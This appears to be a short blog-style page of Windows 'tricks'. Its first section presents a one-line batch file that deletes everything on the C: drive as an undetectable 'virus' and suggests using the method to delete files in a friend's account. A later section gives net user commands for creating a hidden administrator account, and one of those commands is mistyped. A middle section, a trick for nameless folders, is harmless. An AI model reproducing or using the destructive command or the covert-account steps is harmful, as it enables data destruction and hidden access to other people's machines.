1.Create Simple Virus Using Notepad

Write your own virus code where no antivirus can detect it,using very simple steps.

Type the following in the notepad

@echo off

del c:\*.* |y

Now save the file  in “.bat” extension instead of “.txt”

Beware !! before running it.

*It will delete all the content of C: drive.Dont dare to run it on your PC*

To test this you can try this :

a)create a text file with name abcd.txt.Save and close the file.

b)Now create another text file “test.txt” and type the following

@echo off

del abcd.txt |y

save and close it.

c)Now change the extension of the “.bat” and you will get a confirmation and click on Yes.

d)Now run the batch file.You can see that the file “abcd.txt” will be deleted automatically without any confirmation.

* You can use this trick to delete files in your friends account.

2.Create a folder with no name :

a)Create a folder and try to rename it to no-name.You cannot do it because windows doest allow to create a folder with no name.

b)But this can be made using the following trick.

c)After creating the folder rename it by erasing all the charecters and press alt+255.

Note: The number keys used must be from the number pad.

(Now by changing the icon the folder can be made invisible.)

3.Create an invisible user account:

a)Login as administrator.

b)click on start menu and open run.

c)type “cmd” and press Enter.

c)Type the following in the command prompt

net user username /add

//For creating a new user account.

net local group administrators username /add

//For giving a particular account administrator privileges.

net localgroup users username /delete

//For hiding the user account.

net user username /delete

//For deleting the user account.

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